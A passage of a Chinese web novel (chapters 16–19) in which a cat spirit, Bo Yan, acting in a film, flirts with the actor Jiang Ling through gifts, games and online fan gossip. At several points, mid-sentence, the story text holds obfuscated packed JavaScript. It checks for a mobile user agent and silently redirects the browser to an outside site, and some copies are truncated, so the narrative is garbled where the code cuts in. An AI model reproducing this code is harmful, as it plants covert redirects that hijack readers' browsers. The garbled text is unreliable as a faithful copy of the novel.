薄砚看了眼冤大头,忍笑开口道:“不用谢。” 检票入场之后,电影很快就开场了。纵使薄砚早就做好了心理准备,可当恐怖镜头出现的时候,他还是下意识地闭上眼睛。 没成想闭眼之后更恐怖,诡异的音效被无限放大,丝丝缕缕钻入耳膜,让人忍不住胡思乱想,仿佛真有什么诡异的东西,正悄无声息地贴在自己背后…… 薄砚倏地睁开眼,转头看向自己背后。 江泠问道:“要不要让工作人员打开灯?” “不用。”薄砚摇头。作为一只猫,开灯和不开灯对他来说区别不大。 “那你抓着我吧。”江泠攥着薄砚的手腕,将他的双手放在自己手臂上。 “不用。”薄砚嘴上这么说着,手却没有收回去。 音乐越来越急促,屏幕里冷不丁冒出张七窍流血的脸。薄砚被吓得一颤,连忙缩到江泠身边,紧紧抱住他的手臂。 江泠勾起唇角,轻轻笑了一下。 剧情仍在继续,诡异的背景音乐在空荡荡的放映厅里回响。薄砚呆滞地睁着眼睛,度秒如年地熬了许久,这部电影终于结束了。 直到走出电影院,他才觉得自己重新活了过来。 江泠抬头望着天空:“今天的天气真好。” 薄砚长舒了一口气,发誓这辈子再也不碰任何恐怖片了。 “见到这样的阳光,一切都没有遗憾了。”江泠笑了一下。 薄砚问道:“你喜欢太阳?” 江泠点点头:“喜欢太阳,不喜欢雨天。” 薄砚从口袋里掏出一枚太阳,放在他手上:“这是欠你的礼物。” 江泠接过那枚流光溢彩的小太阳。它是用一整块火欧泊打磨而成,圆润的弧面上交织着赤金、暖橙与碎钻般的银白,仿佛把盛夏正午的日光揉碎了封进石髓里。 薄砚道:“你已经有月亮和星星了,再送你一颗太阳,有朝有暮,现在整个世界都是你的了。” 江泠晃了一下掌中的太阳,橙红色的光芒流动起来,在他掌心洒下一片暖光。 薄砚问道:“我送的礼物怎么样?” “特别好。” 江泠的目光凝在小太阳上,指尖顺着宝石的轮廓轻轻摩挲,良久才小心翼翼地把它揣进外套口袋,将那一点璀璨的光,藏进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023662|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独属于自己的方寸天地里。 把欠下的礼物送出去后,薄砚自觉无负担一身轻,饥饿感后知后觉地涌上来,他下意识捂了捂肚子。 江泠轻笑一声:“走,去吃午饭。” 两人去餐厅吃午饭,恰逢节假日,餐厅有抽奖活动,凭他们的消费额度能抽两次。 薄砚原本还对这家餐厅不太满意,价格特别贵,分量特别少,但由于是江泠请客,所以他也不好说些什么。一听能抽奖,他的眼睛都亮起来了。 江泠笑着道:“这么开心?” 薄砚点点头:“我运气特别好。” 果不其然,他随手一抽,就抽中了唯一的特等奖——一条碎钻手链。旁边的经理瞪大眼睛,一副魂归天外的模样。 江泠也跟着抽了一张,结果只中了参与奖,是一瓶香水。他看着奖券,无奈地弯了弯唇角。 薄砚开口道:“回剧组之后,我们一起玩那个小鲨鱼玩具吧。” 江泠哭笑不得地看着他:“因为我运气差?” 薄砚:“嗯。” 午饭过后,薄砚在酒店里睡了一下午,傍晚的时候,戚夏结束拍摄,赶到酒店。 江泠终于见到了他心心念念的煤球,然而一人一猫对面不相识,江泠就只是简简单单地打了一个招呼。 “你好,咱们在一次活动上见过。” 戚夏点点头,说了句“你好”,态度比江泠还要冷淡。 薄砚:…… 戚夏从包里掏出两盒奶片,递给薄砚,指尖捏着盒沿顿了顿,目光若有似无地朝江泠的方向瞟了一眼。 薄砚把其中一盒奶片递给江泠:“悍匪,这是哑巴特意给你买的。” 江泠接过奶片:“谢谢。” 戚夏:“不用。” 薄砚把那盒软心巧克力递给他,戚夏问道:“你什么时候买的巧克力?” 薄砚不答反问:“你什么时候买的奶片?” 戚夏:“中午休息的时候,我开车出去买的,还特意排了半个小时的队。” 薄砚点开支付记录给他看:“我上午就买好了。” 戚夏沉默片刻,开口道:“我先回去换个衣服,等我一会儿。” 薄砚:“五分钟,过时不候。” 戚夏离开后,江泠问道:“你们刚刚在聊什么?方便告诉我吗?” 薄砚解释给他听:“我买了戚夏最爱吃的软心巧克力,他也买了我最爱吃的原味奶片,但因为是我先买的,所以我赢了。” 江泠笑着道:“原来如此。” 薄砚给戚夏发了个嘲讽的表情包,放下手机,拆开包装吃了一个奶片。 江泠:“这家奶片味道确实不错,就是不知道有没有水果口味的。” 薄砚随口问道:“你喜欢吃水果口味的奶片?” 江泠点点头:“水果味的都喜欢,最喜欢吃蓝莓味的。” 五分钟后,戚夏换好衣服,三个人出发去酒店的花园餐厅吃晚饭。 行至一楼大厅的时候,他们迎面撞上一行人。为首的男人穿着剪裁利落的黑色西装,周身弥漫着一股生人勿近的冷冽气场。 错身而过的时候,男人突然开口,叫了一声“小泠”。 江泠顿住脚步:“江总。” 16. 第16章 见他遇上熟人,薄砚和戚夏便先去餐厅里等。两分钟后,江泠也赶了过来,三人随即开始点餐。 薄砚看着菜单上那些艺术品一样的高级菜就头疼,他把菜单递给江泠:“你点吧。” 江泠:“你要是吃不惯这里的菜,我们可以去外面吃。” 薄砚戳了戳戚夏:“去不去外面?” 戚夏闭着眼睛靠在椅子上,慢慢摇了摇头。 “哑巴说他累了,想休息一会儿。”薄砚问江泠,“你饿了吗?饿的话我们先去,不用等他。” 江泠笑着摇头。 薄砚:“嗯,那就等等这个哑巴。” 傍晚的风景很好,残阳把天边的云絮烧成金红色,霞光漫过玻璃穹顶,给餐厅里的一草一木都镀了一层暖融融的光晕。 突然起了一阵风,吹得茉莉树的枝条轻轻晃动,一朵莹白的花苞挣脱了花萼,轻飘飘地落在薄砚的发顶上。他懒得动,花落在头上也当没看见,靠着椅背悠哉游哉地吹晚风。 没一会儿,他头上的花苞就被风吹掉了。江泠捡起落在腿上的花苞,把它重新放回薄砚的头顶。 不仅如此,他还捡了几朵掉在椅子上的花苞,全都堆到薄砚头顶。 薄砚:…… 这人没事吧?演树妖演傻了,把他也当成树妖了? 他甩了甩头,将头顶上的花苞全部甩掉,随即从地上捡起被风吹落的树叶。 江泠连忙攥住他的手腕:“你送我的礼物够多了,我受之有愧,这些树叶就敬谢不敏了。” 薄砚不依不饶道:“你每天都往我的湖里丢落叶,我只是礼尚往来罢了。” 江泠笑着躲闪,薄砚攥着树叶往他头上扔。虽然猫的反应速度是人的七倍,但最终薄砚仍被江泠用力量压制,牢牢地锁在怀里。 他不乐意道:“放开我。” 江泠搂得更紧:“不放。” 薄砚可怜巴巴地望着他:“不玩了,我们去吃饭吧。” 江泠垂眸,注视着怀里的人:“饿了?” 薄砚抿了抿唇:“嗯。” 江泠替他理了理额前散乱的发丝,刚松开手,薄砚就把手里的树叶全撒在了江泠身上。 江泠无奈地勾了勾唇:“骗我。” 薄砚:“兵不厌诈。” 戚夏默默看着二人打闹,然后他戳了戳薄砚。 薄砚:“干嘛?” 戚夏从地上抓起一把落叶,放进薄砚手里,指了指自己的头顶,难以启齿般地开口道:“扔我。” “?” 薄砚疑惑地盯着戚夏。 戚夏恼羞成怒地丢掉树叶,站起来就走。 薄砚:“去哪?” 戚夏:“桃园街!” 桃园街位于溪市正中心,是外地游客最爱逛的商业街,溪市老字号、各种传统小吃都汇聚在这里。晚上的桃园街尤为热闹,人来人往,络绎不绝。 左边是一身黑的江泠,右边是一身白的戚夏,二人皆是口罩帽子全副武装,薄砚走在他们中间,感觉自己像被黑白无常勾魂了似的。 他们三人的组合实在显眼,一路上都被人盯着看,还有很多人拿出手机拍照。 薄砚凑到江泠身边,捂着嘴小声道:“我觉得你的马甲捂不住。” 江泠:“我也觉得。” 戚夏戳了戳薄砚,薄砚回过头:“干嘛?” 戚夏:“你为什么这么大声?” 薄砚难以言喻地看着他,短短一个月不见,这颗煤球似乎从猫精变异成了杠精。 杠精还生气了,气得晚饭都多吃了一碗。 吃完晚饭后,他们去逛桃园街的文创店。江泠在猫咪文创的货架前停下脚步,拿起一个钥匙扣。 戚夏不想理薄砚,便和江泠搭话道:“你喜欢长毛银渐层?” 江泠:“我在剧组遇到一只银色的猫,但似乎和这个钥匙扣上的品种不一样。” 薄砚挑了一顶文创毛线帽,回来发现江泠正和煤球聊拍戏时遇到的小猫。他连忙转移话题道:“你们看这顶毛线帽怎么样?” 江泠笑吟吟地看着他:“可爱。” 戚夏也盯着薄砚。根据从小到大的经验来看,这祸害绝对是干了什么坏事,正心虚呢。 于是他问江泠道:“你在剧组遇到的那只猫长什么样?” 江泠拿出手机,给他看拍的照片。 薄砚:…… 戚夏睁大眼睛,不可置信地盯着那张照片。他上看下看左看右看,照片里那只乖乖巧巧可可爱爱殷殷切切软软乎乎的小猫就是和他从小一起长大,姓薄名砚的祸害。 这祸害不仅有两副面孔,还背着他给别人当宠物! 戚夏瞪着薄砚。他的眼神里有痛心,有无奈,有愤怒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023663|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有嫌弃,哀其不幸,怒其不争,千种情绪,万般复杂。 薄砚忍不住给了他一脚。 江泠:“怎么了?” 薄砚恶狠狠地瞪了罪魁祸首一眼,扭头就走。 却没想到这一幕被人发到了网上,晚上正是广大网友吃瓜冲浪的黄金时间,因为有江泠,且热搜词条太过离谱,所以热搜很快就爆了。 #江泠深陷修罗场三人争爱大打出手#爆 【什么玩意儿,我怎么突然不认识中文了?】 【救命,哪个鬼才想出来的热搜词条,太缺德了。】 【为什么我一个路人,都能一下子认出江泠?】 【很正常,大影帝气质太特殊了,就算戴了帽子口罩,也和裸奔没有区别。】 【楼上的,我怀疑你在搞(小脸通黄.jpg)】 【只有我好奇另外两个人是谁吗?】 【没戴口罩那位好好看!】 【我刚刚偶遇了,真的巨好看,仙气飘飘的(大哭.jpg)】 【所以到底在争谁?】 【又有人发新视频了!】 桃园街偶遇的路人发了新视频,网友们很快就扒出了薄砚和戚夏的身份。 【原来是湖妖,我说怎么那么好看。】 【???竟然没认出新老婆,我有罪(忏悔.jpg)】 【原本以为湖妖有妆造加成,没想到演员私下也这么好看。】 【戚夏也超好看,广场上粉丝发了很多图,那个身材比例太逆天了。】 【所以是为了新电影炒作吗?】 【啊?江泠?炒作?啊?我听到了什么?江泠还需要炒作?】 【所以到底是谁和谁在争谁?】 【这三个人颜值都很高,谁和谁都行啊!】 【我嗑戚夏×白言,莫名觉得他们很配。】 薄砚正拿着手机看热闹,突然刷到这条评论,整个人都开始难受。 戚夏生气道:“什么意思,你嫌弃我?” 薄砚:“这么激动干嘛,你喜欢我?” 戚夏:…… 现在轮到他浑身难受了。 戚夏:“我就是喜欢唐冰,我都不会喜欢你!” 薄砚:“你不能喜欢唐冰。” 戚夏:“为什么?” 薄砚:“因为他是人,你是猫啊。” 17. 第17章 三天假期倏忽而过,《绿荫》剧组全员归位,投入到紧锣密鼓的拍摄当中。今天没有薄砚的戏份,他索性变成猫跟着江泠,继续推进自己的攻略大计。 助理见到小猫很开心:“好久不见呀,小猫咪,你这三天过得怎么样?” 小猫恹恹地瞥了眼正在走戏的江泠。托某个罪魁祸首的福,他被戚夏嘲笑了整整一天。 助理兴奋道:“我就知道你会想我哥,正好,我哥也给你带了礼物,跟我来。” 小猫跟着他走进休息室,发现空地上摆着各种款式的猫窝、猫抓板、猫玩具,还有一个巨大的猫爬架。 助理问小猫道:“这些都是我哥送给你的礼物,喜欢吗?” 小猫在每个猫窝里躺了十秒钟,随后开始爬那个直通天花板的猫爬架。他弓着身子,爪子扒着立柱一步步往上蹿,动作又快又稳。 助理刚转身倒了杯水,再回头时,咪咪大王已经登基了。 他连忙行礼道:“吾皇万岁万岁万万岁。” 小猫懒洋洋地甩了甩尾巴。 助理拱了拱手:“皇上您自个儿玩会儿,微臣先告退了。” 然而他再次回来的时候,却发现猫不见了。助理找遍了所有角落,都没有看到小猫。 “可能是回家了。”他有些失望地说道。 江泠点点头,转身走向衣架去取自己的外套。刚路过墙角那个小纸箱,一团毛茸茸的影子突然蹿出来,扑到他脚边。 江泠惊得脚步一顿,抬手拍了拍胸口,无奈道:“坏猫。” 小猫得意地甩了甩尾巴。 “原来你在这里啊,我还以为你回家了。”助理边说边摸了一把舒适柔软的猫窝,“为什么要睡在纸箱子里,难道不是猫窝更宽敞更舒服吗?” 小猫瞥了一眼猫窝,坚定不移地钻回小纸箱里。 助理和江泠分享假期里遇到的趣事,小猫从纸箱里探出一颗猫猫头,睁着圆溜溜的大眼睛看着他们。 助理被可爱到了,伸手想摸一把。小猫拍开他的手,助理难受道:“求你了大王,让臣摸一下吧,就一下。” 小猫不理会助理的哀求,反而跑到江泠腿边,仰头望着他,软乎乎的尾巴扫过他的裤腿。 助理叹了口气:“真是旱的旱死,涝的涝死。” 小猫喵喵咪咪地绕着江泠转了好几圈,江泠却只是垂眸看着,连指尖都没动一下。 小猫蹲坐在地上,歪头看着他。这个人类真的很奇怪,明明给自己买了很贵的猫咪用品,但就是不愿意摸自己。 晚上回去的时候,他把今天发生的事告诉唐冰。 唐冰点点头:“是挺奇怪的。” 薄砚:“所以他到底喜不喜欢我?” 唐冰皱起脸:“你能别用‘喜欢’这个词吗,听起来怪怪的。” 薄砚:“不奇怪啊,他是人,我是猫。” “也是。”唐冰点点头,分析道,“我觉得他肯定喜欢你。如果他不喜欢你,怎么会花钱给你买那么多东西?所以他一定喜欢你。” 薄砚:“那他为什么不摸我?” 唐冰:“可能是他的手有问题,要不你明天测试一下?” 薄砚点点头。 - 次日一大早,薄砚下楼坐车。今天是个阴天,阳光被乌云遮盖,显得白天都有些昏暗。 窗外的风景没什么好看的,薄砚收回视线,目光落到身旁之人的手上。 江泠的手指修长,骨节均匀,手背是冷白色,透过皮肤能看到淡青色的血管,像埋在雪下静谧的溪流。 “江泠。”薄砚突然开口,打破车内的寂静。 江泠侧过头,眼底带着询问。 薄砚看着他:“你的手很好看。” 江泠:“是吗?” 薄砚点点头:“很符合你的名字——‘江泠’,你手背上的血管,就像埋在雪下的溪流,等到春天雪化了之后,溪流就会重新流淌,江水泠泠,响彻山谷。” 江泠垂眸,审视般地看了眼自己的手,笑着开口道:“被你这么一说,我突然有点喜欢我的名字了。” 薄砚:“春江水暖,万物复苏,‘江泠’本来就是一个很好听的名字。” 江泠笑着看他:“不生气了?” “我生那个哑巴的气,又没生你的气。”薄砚说着,突然想起黑白无常前天互相加了微信,便问道,“那个哑巴没说我坏话吧?” 江泠犹豫了一下,没有开口。 薄砚睁大眼睛:“他说我什么了?” 江泠挑眉:“不告诉你。” 薄砚和他商量道:“这样吧,咱们比一比谁的手大,如果你输了,就告诉我哑巴背地里说我什么坏话;如果我输了,就送你一件礼物,怎么样?” 江泠笑吟吟地看着他:“真要比?” 薄砚伸出手:“嗯。” 江泠贴上他的手,笑着道:“你输了。” 薄砚:“你的手好像没以前那么凉了。” 江泠从口袋里掏出姜饼小人:“因为你送的暖手宝很好用。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023664|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 薄砚攥住他的手指,用掌心裹着捂了几秒,开口道:“我的体温偏高,给你暖暖手。” 暖融融的温度顺着指尖蔓延到江泠的手上,他原本冻得发凉的手,被薄砚掌心的温度熨帖得恰到好处,像一块温润的暖玉。薄砚攥着这块‘暖玉’,竟慢慢地睡着了。 等他再次醒来的时候,发现自己正靠在江泠的肩膀上,鼻尖萦绕着一股清冽的雪香。 薄砚连忙坐直身体,揉了揉眼睛。怪不得他做了一个关于冬天的梦,被这股雪香包裹着,就连梦境都沾了几分冷意。 他有些尴尬,没话找话地对助理说道:“你下载的音乐真的很助眠。” 助理更尴尬,他不知道该说什么,总觉得自己有些多余,只好干巴巴地点了点头。 到了片场之后,第一场戏很快开拍。 树妖坐在湖边晒太阳,长发垂在胸前,发丝里缠着几片新鲜的落叶。明明没有风,湖面却突然泛起浪花。 树妖垂眸,看着脚边漫上来的湖水,无奈道:“湖里的鱼虾不够你捉弄,还要来捉弄我?” 一道半透明的影子从湖里钻出来,渐渐凝成实体:“捉弄鱼虾,哪有捉弄你有趣?” 树妖掬起一捧湖水,威胁道:“你再捉弄我,我就引湖里的水,去灌溉山上那片树林。” 湖妖笑了,潋滟的眸子里氤氲着水汽:“好啊,我倒要看看,你这小小的一棵树,要如何引动万顷碧波。” 树妖也笑了一下,他的影子投在湖水里,随着涟漪一圈圈漾开,层层叠叠的波纹从脚下一直漫向远方。 湖妖上了岸,并肩坐在树妖身旁,开口道:“你在担心吗?” 树妖摇头:“‘担心’是最没用的两个字。” 湖妖看着他:“可我觉得你就是在担心。” 树妖无奈地笑了一下:“担心也没办法啊。” “卡!” 岸边的泥土被水泡得又软又滑,江泠拉着薄砚站起来:“这里很滑,小心摔倒。” 薄砚应了一声,反握住他的手腕,指尖顺着指缝轻轻嵌入,十指相扣。温热的触感蔓延过来,连带着湖畔的风都染上了几分灼热的温度。 江泠垂眸,余光瞥见薄砚漂亮的侧脸。青年专注地看着地面,嘴唇紧紧抿着,白皙的脸颊上沾了点泥土,像只可爱的小花猫。 微风拂过,他的睫毛轻轻颤了一下。 江泠忽然觉得,心底有什么东西,正从寂寥的远方振翅飞来,落在寂静无声的水面上,掀起一片涟漪,震耳欲聋。 18. 第18章 薄砚牵着江泠的手,从湿滑的岸边一步步走到干燥的平地上。片场一片安静,所有人都愣愣地望着他们,直到薄砚叫了声“李导”,众人才如梦初醒般地回过神。 李导干咳了一声:“挺好,挺好的。” 薄砚问道:“这条过了吗?” 李导连忙道:“过了过了!” 薄砚牵着江泠走到助理面前,开口道:“他的戏服裤腿湿了,你带他去换一件。” 助理灵魂出窍般地点点头。 见江泠一直看着自己,薄砚又叮嘱了一句:“小心感冒。” 江泠抿唇笑了一下:“嗯。” 薄砚头一回见他这么笑,觉得很奇怪,忍不住盯着他的背影多看了两眼。唐冰拉过他:“你也给我回去换衣服!” 江泠和助理还未走远,薄砚压低声音道:“我测试过了,他的手没问题。” 唐冰惊诧地看着他:“我瞎说的,你还当真了?” 薄砚:…… 唐冰做作地捂住嘴:“你和小时候一样好骗诶!” 薄砚忍不住给了他一脚。 唐冰边躲边道:“小心我明天买个热搜,#新人演员白言暴打助理#,看你怎么办。” 薄砚追着他一顿飞踹,两人闹哄哄地跑回休息室。 唐冰喘了口气,笑着道:“不逗你了,我说真的,说不定他的手真有问题呢?不然他为什么不摸你,你这么可爱。” 薄砚:“哼。” 见猫祖宗被哄好了,唐冰开口道:“快去换衣服吧,湖妖这个角色真受罪,大部分时间都在水里泡着。” 另一边,江泠也在换衣服。刚换完,助理就把手机递给他:“泠哥,晴姐刚才给你打了通电话。” 江泠接过手机,回拨过去:“晴姐?” 陆晴在那头说了什么,他回复道:“都放出去。慢慢放出去,钝刀子割肉才有意思。” 助理在一旁听着他哥天凉王破的霸总发言,又想起刚才江泠被薄砚牵着时,那副乖巧柔弱任凭摆布的模样……他深深地觉得,这个世界太玄幻了。 江泠挂了电话没多久,门外忽然传来一阵敲门声。 “请进。” 薄砚拿着小鲨鱼玩具走进来,扬了扬手里的东西,开口道:“我和唐冰打算玩这个,你们要不要一起玩?” 江泠无奈一笑:“欺负我运气差,是吧?” 薄砚理直气壮地点点头:“嗯。” 他们去休息室外,找了一处宽敞的遮阳棚坐下,薄砚指着小鲨鱼玩具道:“我们四个人石头剪刀布,按照输赢的顺序轮流按牙齿,小鲨鱼咬谁的手指,谁就要受到惩罚。” 助理问道:“什么惩罚?” 薄砚从口袋里拿出一张贴纸:“赢的人选一张贴纸,贴在输的人脸上。” 江泠用手撑着额头:“完了,我已经预感到我的结局了。” 薄砚:“你的预感没错。” 江泠:…… 果不其然,江泠第一局就输了。剩下的三个人石头剪刀布,赢的人挑选贴纸。 薄砚赢了,他挑了一张粉色的卡通小猪贴纸,贴在江泠额头上,开口道:“还不拜见猪猪大王?” 唐冰和助理憋笑憋得浑身颤抖:“拜见猪猪大王!” 江泠看着恶作剧后得意洋洋的人,无奈地笑了下。 他们闹的动静挺大,化妆师被吸引过来:“江影帝,你这造型挺别致啊!” 薄砚邀请他一起玩,化妆师当即兴致勃勃地坐下。他坐下之后,几个平日里和他比较熟的小演员也壮着胆子凑了过来,慢慢地人越来越多,除去上山拍戏的那拨人,留在片场的几乎全挤到这儿来了。 薄砚认出了他第一天见到的那个圆脸小演员,问她道:“你要一起玩吗?” 圆脸小演员鼓起勇气点了点头。 不知道是谁喊了句:“我们也想一起玩!” 薄砚觉得这群人类有趣又热闹,便点头道:“大家一起玩吧。” 一群人当即热热闹闹地玩开了。江泠的运气真的很差,不管和谁玩,怎么玩,五局里总得输上四局。 薄砚:“小朋友还指望你赢了我替他报仇呢,谁知道你这么没用。” “我都这么倒霉了,你还笑话我。”江泠捂着心口,缓缓倒在薄砚肩上。 周遭的喧闹声瞬间被按下暂停键,众人不约而同地瞪大眼睛,连呼吸都放轻了几分。 薄砚推开他:“我就算不嘲笑你,你的运气也不会变好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023665|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江泠拿起贴纸端详片刻,凑到薄砚身边,指着一个贴纸道:“你看这个,像不像上次咱俩一起看的那部电影里的银杏树?” 薄砚点点头:“是挺像的。” 众人竖着耳朵听他们的聊天。 江泠又指着一个贴纸道:“这个像不像你送我的太阳吊坠?” 薄砚摇头:“不像,我送你的比这个好看多了。” 江泠:“也是。” 游戏散场后,几个相熟的跟组演员坐在一起闲聊。 “我一直以为那个白言是高冷挂的,没想到他这么可爱,我感觉我都要爱上他了。” “本人纯纯颜狗,他进组的第一天我就爱上他了。” “江影帝可能比你们先爱上,他和白言的肢体接触好自然,我跟过江影帝两个组,从没见他这样过。” “我跟过他三个组,江泠最近确实有种为爱下凡的感觉。” “能私下里一起看电影,说明关系是真好。” “前天不是上热搜了吗?‘修罗场三人争爱’那个热搜,你们没看到?” “但江影帝说的是‘咱俩一起看的那部电影’,说明看电影的只有他们两个。” “又是送礼物又是看电影的,不管了,这对cp我先嗑了!” 网上也有一些人在嗑cp,上午九点的时候,媒体发了《绿荫》剧组的探班花絮。 随便嗑嗑v:有人注意到角落里的江影帝吗?(附视频) 【注意到了注意到了!江影帝和一个男生说了什么,男生有些疑惑地歪了歪头,江影帝就满眼笑意地看着他。】 【这还是采访别人的时候,镜头不小心拍到的,更好嗑了。】 【那个男生叫白言,在电影《绿荫》里饰演湖妖落亭。】 【是的,之前江泠转发了他的微博,前天他们还一起逛街了,那是江泠第一次被拍到私生活。】 【跪下来求自己别嗑,结果发现跪下来更好嗑了,我对这段感情的付出不比他俩少(仿佛身体被掏空.jpg)】 【楼上的,我不行了(悄咪咪指路春江花月言cp超话)】 薄砚拿着手机上网看热闹,恰好刷到这条微博,他有些好奇,便顺着评论区的链接点进超话。 19. 第19章 薄砚点进超话,发现最上边一行字写着“点进超话默认江泠薄砚是真的(爱心)”,下边还有一条置顶公告。 春江花月言-白月光(管理组):由于本超话近期来了很多新的月光,白月光在此呼吁大家: 1.本超话禁止带两人大名、文案和词条,不要艾特本人,不要同步单人超话(如有需要,可用江江言言、狐狐猫猫来代替)。 …… 薄砚看到“猫猫”两个字吓了一跳,差点以为自己的身份暴露了,后来才反应过来那群人类并不知道他是猫妖,只是觉得他像猫罢了。 妖不能主动向人类透露身份,更不能在人间使用法术,以免扰乱人类社会的秩序。他们下山之后,身上的法力会被封印,只能变换形态,能使用的法宝也只有乾坤袋。 薄砚摸了摸乾坤袋,继续看超话里发的帖子。 如果“猫猫”是指自己的话,那“狐狐”就是指江泠?江泠像狐狸吗? 薄砚觉得他不像狐狸。月轮山上那群狐狸,一个赛一个的精,表面装得很可怜,实则一肚子坏水。 江泠虽然演技很好,但他本人有点呆,不会照顾自己,不仅运气差,还很容易伤心,一点都不像狐狸。 薄砚抬起头问唐冰:“你觉得江泠像什么动物?” 唐冰:“……他就不能是个人吗?” 薄砚:“这里规定了,必须用动物代称。” 唐冰探过头:“哪里?” 薄砚指着屏幕给他看。 唐冰愣了下:“为什么要加入你和江影帝的cp超话?” 薄砚:“没加入,只是看看。” 唐冰:“为什么要看?” 薄砚:“好奇。” 唐冰:“好奇心会害死猫。” 薄砚:…… 他不再理会那个抬杠的货,指尖在屏幕上滑动,继续翻看超话里的帖子。 超话里有人把他们两个的所有互动都剪成一个视频,看完那个视频后,薄砚觉得江泠应该挺喜欢自己的。 他想了想,问唐冰道:“小时候我姐打扮我的那些东西你还保存着吗?” 唐冰:“干嘛?” 薄砚:“拿出来,我要用。” 唐冰从乾坤袋里掏出各种小领结、小翅膀、小发夹,问道:“你要哪个?” 薄砚生气了:“你不是说都扔了吗!” “怎么还钓鱼执法呢,再说我要是把这些东西都扔了的话,你用什么?”唐冰狡辩道,“我这是帮你们记录生活,戚夏戴过的蝴蝶结我也保存了一大堆。” 见他也保存了戚夏的黑历史,薄砚顿时觉得心里平衡了许多。他放下手机,在那堆小饰品里挑来挑去。 前不久片场来了一只名叫“球球”的布偶猫,那只傻猫打扮得很漂亮,不仅穿着洛丽塔小裙子,头上还戴着一顶小礼帽。 薄砚挑了一个淡紫色的蝴蝶结。裙子是这辈子都不可能穿的,蝴蝶结倒是勉强可以戴一戴。 一切都是为了赢过那颗煤球。他给自己洗脑一番后,把蝴蝶结递给唐冰:“等会儿我变成原形,你把这个别在我耳朵上。” 唐冰震惊了:“不是吧?为了勾引江影帝,你都开始打扮自己了?” 薄砚懒得理他,变成猫抖了抖耳朵。 “好吧。” 唐冰把蝴蝶结别在小猫耳朵下方,拿出手机正准备拍照,小猫飞快地踩了他一脚,蹿到帐篷后边,顺着帆布与支撑杆衔接的缝隙钻了出去。 李导眼尖地瞅见了他,连忙开口道:“咪咪,咪咪,快过来,嘬嘬嘬嘬嘬,咪咪!” 小猫不搭理他,径直钻进江泠的帐篷里。 助理正在玩手机,看到小猫两只眼睛都亮了:“哪来的仙女猫猫,好可爱好漂亮好萌!” 江泠坐在椅子上看剧本,小猫跑到他腿边,用毛茸茸的大尾巴蹭了蹭他的裤腿。 助理被迷晕了,蹲在小猫旁边,嘴里不停念叨着“可爱漂亮”等众多美好的形容词。 江泠拿出手机,拍了一张照片。屏幕里和屏幕外的两只小猫咪都睁着圆溜溜的大眼睛望着自己。他叹了口气,放下手机继续看剧本。 小猫跳上桌子,伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023666|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爪爪按住剧本,不让他看。 江泠看着小猫:“不让我看剧本,那我陪你玩好不好?” 小猫假装听不懂他的话,继续用毛茸茸的小爪爪按着剧本。 江泠拿起逗猫棒逗他玩,小猫并不想玩,但还是敷衍地扒拉了两下。 助理见状也拿起一根逗猫棒,满眼期盼地对着小猫晃了晃。小猫不忍心伤害他,抬起爪子扒拉了一下。 助理被鼓励到了,兴致勃勃地从箱子里取出各种各样的玩具,一股脑全摆在桌上,软着声音问小猫道:“你喜欢哪个?我都陪你玩。” 小猫耳朵上别着的紫色蝴蝶结,下边垂着几条长长的丝带。他被丝带吸引了,摇头晃脑地自己逗自己,玩得不亦乐乎。 江泠见小猫玩得正欢,便低下头继续看剧本。手机铃声骤然响起,他拿起手机扫了眼屏幕,指尖悬在接听键上,最终没有按下。 